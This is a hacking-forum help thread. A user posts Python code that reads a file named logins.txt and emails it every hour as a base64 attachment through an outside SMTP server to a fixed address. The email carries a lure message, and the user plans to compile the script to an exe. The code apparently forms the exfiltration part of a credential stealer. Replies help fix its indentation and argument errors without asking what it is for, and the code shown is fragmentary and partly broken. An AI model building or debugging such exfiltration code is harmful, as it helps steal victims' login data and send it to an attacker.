

Forum:[Hack Forums](#)

Thread: [Send data in email attachment every hour](#)

ASlopaR - May 6, 2017, 5:17 am

Hi, I want send data in email attachment (.txt file) every hour remote.. And if I compiles to exe (with py2exe) get error on line

Code while True:

Actually code to send email:

```
Code def mail(serverURL=smtp.seznam.cz, sender="", to="", subject="", text="):
```

```
.....
```

Usage:

```
.....
```

mail('smtp.seznam.cz', 'martez58@seznam.cz', 'MartyQCZ@seznam.cz', 'OMGWTF', 'Hello Marty! :) I have gift for you in attachment.')

```
message = StringIO.StringIO()
writer = MimeWriter.MimeWriter(message)
writer.addheader('Subject', subject)
writer.startmultipartbody('mixed')
# start off with a text/plain part
part = writer.nextpart()
body = part.startbody('text/plain')
body.write(text)
# now add an attachment
part = writer.nextpart()
part.addheader('Content-Transfer-Encoding', 'base64')
body = part.startbody('text/plain')
base64.encode(open(logins.txt, 'rb'), body)
# finish off
writer.lastpart()
# send the mail
smtp = smtplib.SMTP(s)
smtp.sendmail(sender, to, message.getvalue())
smtp.quit()
```

```
if __name__ == '__main__':
while True:
    mail()
    time.sleep(3600)
```

Ri?dle - May 6, 2017, 5:56 am

(May 6, 2017 05:17 AM)ASlopaR Wrote: [\[CITE\]](#) Hi, I want send data in email attachment (.txt file) every hour remote.. And if I compiles to exe (with py2exe) get error on line

your while statement doesn't look indented

Code if __name__ == '__main__':

```
while True:
```

```
    mail()
```

```
    time.sleep(3600)
```

Pillus - May 6, 2017, 5:57 am

Would be great if you could include the error as well? :) There is normally a few lines called Traceback, that would help out a lot.

ASlopaR - May 6, 2017, 7:43 am

Actually problem is removed, and I get new problem.

I have included to Python 2.7.13 APScheduler module (module version 3.3.1)

And I will import in code:

Code from apscheduler.scheduler import Scheduler

Error message:

Traceback (most recent call last):

File "<pyshell#2>", line 1, in <module>

from apscheduler.scheduler import Scheduler

ImportError: No module named apscheduler.scheduler

hunter24957 - May 6, 2017, 11:17 am

Code serverURL=smtp.seznam.cz

ServerURL argument needs to be a string, like so:

Code serverURL='smtp.seznam.cz'